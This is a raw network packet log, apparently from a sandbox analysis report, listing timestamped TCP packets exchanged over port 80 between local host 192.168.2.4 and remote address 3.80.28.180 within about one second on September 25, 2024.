Sep 25, 2024 03:51:26.939963102 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.940017939 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.940035105 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.940035105 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.940052032 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.940100908 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.940104008 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.940133095 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.940196037 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.940228939 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.940253019 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.940259933 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.940291882 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.940324068 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.940356970 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.940388918 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.940395117 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.940395117 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.940423965 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.940530062 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.940562010 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.940593958 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.940614939 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.940625906 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.940648079 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.940656900 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.940690041 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.940721989 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.940767050 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.940941095 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.940973043 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.940973997 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.941005945 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.941036940 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.941068888 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.941102028 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.941123962 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.941134930 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.941164970 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.941195011 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.941198111 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.941230059 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.941257000 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.941261053 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.941296101 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.941330910 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.941348076 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.941404104 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.941437960 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.941471100 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.941504002 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.941513062 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.941536903 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.941570044 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.941649914 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.941674948 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.941698074 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.941705942 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.941729069 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.941777945 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.941807985 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.941839933 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.941848040 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.941873074 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.941905022 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.941910028 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.941939116 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.941970110 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.942001104 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.942008972 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.942033052 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.942065954 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.942097902 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.942116022 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.942130089 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.942135096 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.942163944 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.942199945 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.942312956 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.942516088 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.942565918 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.942598104 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.942604065 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.942629099 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.942661047 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.942692041 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.942692041 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.942692041 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.942724943 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.942756891 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.942787886 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.942819118 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.942852020 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.942863941 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.942863941 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.942883015 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.942915916 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.942948103 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.942981005 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.942982912 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.943012953 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.943044901 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.943048954 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.943077087 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.943109989 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.943120956 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.943120956 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.943140984 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.943211079 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.943253040 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.943411112 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.943491936 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.943523884 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.943556070 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.943588972 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.943598032 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.943622112 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.943654060 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.943675995 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.943684101 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.943717957 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.943748951 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.943777084 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.943780899 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.943813086 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.943845987 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.943876982 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.943909883 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.943917036 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.943917036 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.943988085 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.982852936 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.982923031 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.982973099 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.983007908 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.983041048 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.983074903 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.983088970 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.983109951 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.983144999 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:26.983231068 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:26.983268023 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.030559063 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.030611992 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.030668020 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.030700922 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.030734062 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.030745029 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.030766010 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.030817986 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.030852079 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.030864954 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.030885935 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.030916929 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.030951023 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.030952930 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.030980110 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.031004906 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.031030893 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.031061888 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.031095028 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.031100035 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.031133890 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.031167030 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.031189919 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.031198978 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.031232119 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.031232119 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.031270027 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.031294107 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.031369925 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.031403065 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.031440020 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.031474113 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.031506062 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.031538963 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.031539917 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.031573057 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.031651020 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.031728983 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.031732082 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.031764984 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.031797886 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.031829119 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.031877995 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.031908035 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.031912088 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.031961918 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.032000065 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.032011986 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.032047033 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.032078028 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.032111883 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.032143116 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.032145023 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.032176018 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.032208920 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.032241106 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.032248020 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.032279968 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.032313108 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.032345057 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.032346964 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.032377958 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.032378912 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.032409906 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.032440901 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.032442093 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.032474995 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.032524109 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.032526016 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.032556057 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.032566071 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.032588959 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.032622099 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.032653093 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.032681942 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.032716990 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.032721043 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.032747984 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.032778978 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.032810926 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.032812119 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.032843113 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.032876015 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.032892942 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.032907963 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.032938957 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.032953024 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.032969952 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.033005953 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.033037901 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.033144951 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.033175945 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.033209085 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.033241034 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.033271074 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.033303022 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.033334017 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.033337116 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.033363104 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.033385992 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.033395052 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.033427000 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.033457994 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.033490896 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.033514023 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.033521891 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.033554077 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.033557892 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.033586025 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.033618927 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.033638000 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.033665895 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.033703089 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.033804893 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.033821106 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.033854008 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.033885956 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.033917904 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.033951044 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.033951998 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.033982038 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.034018040 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.034041882 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.034049988 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.034084082 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.034116030 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.034116983 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.034148932 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.034176111 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.034182072 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.034215927 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.034235954 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.034357071 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.034357071 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.036109924 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.036143064 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.036175966 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.036207914 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.036240101 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.036278009 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.036289930 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.036323071 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.036355972 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.036358118 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.036396027 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.036428928 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.036456108 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.036459923 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.036492109 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.036499023 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.036525965 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.036557913 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.036561012 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.036591053 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.036607981 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.036622047 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.036637068 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.036638021 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.036638021 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.036652088 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.036669016 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.036714077 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.074177027 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.074250937 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.074290037 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.074322939 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.074356079 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.074388981 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.074421883 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.074455976 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.074485064 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.074594021 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.121321917 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.121376991 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.121426105 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.121460915 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.121515036 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.121536016 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.121567965 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.121620893 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.121673107 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.121702909 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.121715069 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.121715069 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.121752024 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.121784925 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.121793985 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.121834993 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.121867895 CEST	80	49730	3.80.28.180	192.168.2.4
Sep 25, 2024 03:51:27.121886969 CEST	49730	80	192.168.2.4	3.80.28.180
Sep 25, 2024 03:51:27.121903896 CEST	80	49730	3.80.28.180	192.168.2.4
